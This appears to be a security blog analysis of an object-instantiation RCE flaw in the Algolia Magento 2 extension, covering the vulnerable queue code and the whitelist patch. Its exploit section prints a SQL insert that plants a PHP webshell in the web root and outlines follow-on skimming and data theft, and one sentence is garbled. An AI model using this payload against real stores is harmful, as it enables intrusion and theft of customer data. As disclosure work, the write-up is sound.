GHSA-595P-G7XC-C333

Queue Jumping to RCE: Algolia for Magento 2 Object Instantiation

Alon Barad
Alon Barad
Software Engineer

Jan 14, 2026·6 min read

Executive Summary (TL;DR)

The Algolia Magento 2 extension trusts database content too much. It uses a custom SQL-based queue system where the class name and method to be executed are stored as plain text. If an attacker can inject a row into this table (via SQL Injection or compromised DB credentials), they can trigger the Magento ObjectManager to execute any public method on any class in the codebase, leading to immediate RCE. The fix implements a strict whitelist of allowed handlers.

A critical vulnerability in the Algolia Search & Discovery extension for Magento 2 allows for Remote Code Execution via insecure handling of queue jobs. By manipulating the `algoliasearch_queue` table, an attacker can force the application to instantiate arbitrary classes and execute arbitrary methods.

The Hook: When the Database becomes a loaded gun

In the world of Magento development, the ObjectManager is god. It can instantiate almost anything, inject dependencies, and generally acts as the glue holding the massive e-commerce framework together. But like any deity, it requires respect—and a healthy fear. If you let user input dictate what the ObjectManager builds, you're effectively handing over the keys to the castle.

Algolia, the search-as-a-service giant, provides a Magento 2 extension to sync products and categories. Syncing data is heavy work, so naturally, they offload it to a background queue. But instead of using Magento's native RabbitMQ or MySQL message queues directly, they implemented a custom mechanism relying on a specific table: algoliasearch_queue.

Here is where the architecture gets spicy. This table doesn't just store data payload; it stores instructions. Specifically, it holds the PHP class name and the method name that the consumer should execute when it picks up the job. This design pattern—"Command via Database"—is a classic foot-gun. It assumes that the database is a trusted zone. But in the hostile landscape of e-commerce security, where SQL Injections (SQLi) are a constant threat, the database is often the first line of defense to fall. When it does, this vulnerability turns a simple data leak into a full-blown Remote Code Execution (RCE) party.

The Flaw: Trusting the wrong input

The vulnerability lies deep within Model/Job.php. This class represents a single unit of work pulled from the queue. Its primary responsibility is to figure out what needs to be done and do it. The logic is deceptively simple: look at the row, read the class column, read the method column, and execute.

Here is the logic flow that leads to disaster:

  1. The cron job wakes up and pulls pending jobs from algoliasearch_queue.
  2. It hydrates a Job model.
  3. It calls the execute() method on that model.

Inside execute(), the code does something unforgivable. It passes the raw string from the class column directly into Magento's ObjectManager::get(). For those unfamiliar with Magento internals, get() creates a singleton instance of the requested class. Then, it takes the string from the method column and uses call_user_func_array to invoke it.

There was zero validation. No whitelist. No checks to see if the class belongs to the Algolia namespace. If the string says Magento\Framework\Filesystem\Io\File, the code happily obliges. This is a textbook case of CWE-470 (Use of Externally-Controlled Input to Select Classes or Code), often referred to as "Object Injection" or "Insecure Reflection".

The Code: Autopsy of an RCE

Let's look at the smoking gun in Model/Job.php. This code has been running on thousands of Magento stores, silently waiting for the wrong row to appear in the database.

The Vulnerable Code (Before)

public function execute(): Job
{
    // 1. Get the class name directly from the DB row
    // 2. Instantiate it via ObjectManager (God mode)
    $model = $this->objectManager->get($this->getClass());
 
    // 3. Get the method name directly from the DB row
    $method = $this->getMethod();
 
    // 4. Get the arguments
    $data = $this->getDecodedData();
 
    // 5. BOOM. Arbitrary code execution.
    call_user_func_array([$model, $method], $data);
 
    return $this;
}

It is shockingly efficient at being insecure. It essentially creates a remote shell for anyone who can write to the database.

The Fix (After)

The patch introduced in versions 3.16.2 and 3.17.2 is essentially a "bouncers list". They introduced a ALLOWED_HANDLERS constant that explicitly defines which classes and methods are permitted to run. If the database requests something not on the list, the job dies with an exception.

public const ALLOWED_HANDLERS = [
    'Algolia\AlgoliaSearch\Model\IndicesConfigurator' => ['saveConfigurationToAlgolia'],
    'Algolia\AlgoliaSearch\Model\IndexMover' => ['moveIndexWithSetSettings'],
    // ... restricted list of safe classes ...
];
 
public function execute(): Job
{
    $class = $this->getClass();
    $method = $this->getMethod();
 
    // The Guard Clause
    if (!isset(self::ALLOWED_HANDLERS[$class]) || 
        !in_array($method, self::ALLOWED_HANDLERS[$class], true)) {
        throw new AlgoliaException('Unauthorized job handler');
    }
 
    // Only now do we touch the ObjectManager
    $model = $this->objectManager->get($class);
    // ...
}

This changes the security model from "Allow everything by default" to "Deny everything by default".

The Exploit: From SQLi to RCE

How do we weaponize this? The algoliasearch_queue table acts as a dead-drop. The attacker doesn't need to communicate directly with the Algolia extension; they just need to plant the bomb and wait for the Magento cron to detonate it.

Prerequisite: The attacker needs a write primitive for the database. This is usually achieved via a SQL Injection vulnerability in another extension or part of the core, or via compromised database credentials.

The Attack Chain

  1. Identify the Target: Find a Magento store running the vulnerable Algolia extension.
  2. Inject the Payload: Execute a SQL query to insert a malicious job.
INSERT INTO algoliasearch_queue 
(class, method, data, created_at) 
VALUES 
(
  'Magento\\Framework\\Code\\Generator\\Io',
  'write',
  '{"filename":"/var/www/html/pub/exploit.php", "content":"<?php system($_GET[c]); ?>"}',
  NOW()
);
  1. Wait: The Magento cron runs every minute. It will pick up this "job".
  2. Execution:
    • The extension reads the row.
    • ObjectManager instantiates Magento to o o (or any other suitable gadget class available in the vendor folder).
    • call_user_func_array calls write() with our payload.
  3. Persistence: The file exploit.php is created in the public web root. The attacker now has a permanent webshell.

While finding the perfect gadget chain in Magento requires some digging (since ObjectManager::get creates Singletons, constructors are called only once), there are hundreds of classes with dangerous public methods exposed to this vulnerability.

The Impact: Game Over

Why is this critical? Because it escalates a limited vulnerability into a total compromise.

Often, SQL Injections are limited to reading data (Blind SQLi) or require complex techniques to extract information. However, this vulnerability turns any SQLi (even a Blind one, if you can INSERT or using Stacked Queries) into immediate Remote Code Execution.

Once RCE is achieved on a Magento server, the game is over:

  • Credit Card Skimming: Install a client-side skimmer (Magecart) into the JavaScript files.
  • Database Theft: Dump the entire customer database, including PII and order history.
  • Lateral Movement: Use the server to attack internal infrastructure.

Since this logic runs within the context of the Magento cron, it often executes with higher privileges or different PHP configurations (like higher memory limits/timeouts) than the web process, making it an even more stable environment for malware execution.

Fix Analysis (1)

Technical Appendix

CVSS Score
9.1/ 10
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
EPSS Probability
0.04%
Top 100% most exploited

Affected Systems

Algolia Search & Discovery for Magento 2 < 3.16.2Algolia Search & Discovery for Magento 2 < 3.17.2

Affected Versions Detail

Product
Affected Versions
Fixed Version
Algolia Search & Discovery for Magento 2
Algolia
< 3.16.23.16.2
Algolia Search & Discovery for Magento 2
Algolia
< 3.17.23.17.2
AttributeDetail
Vulnerability TypeUntrusted Data Handling / Insecure Deserialization
CWE IDCWE-470
Attack VectorLocal/Network (via Database Access)
ImpactRemote Code Execution (RCE)
CVSS Score (Est.)9.1 (Critical)
Exploit StatusPoC Available (Theoretical)
CWE-470
Use of Externally-Controlled Input to Select Classes or Code

Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')

Vulnerability Timeline

Patch released in versions 3.16.2 and 3.17.2
2024-12-11
GHSA-595p-g7xc-c333 published
2024-12-20

Subscribe to updates

Get the latest CVE analysis reports delivered to your inbox.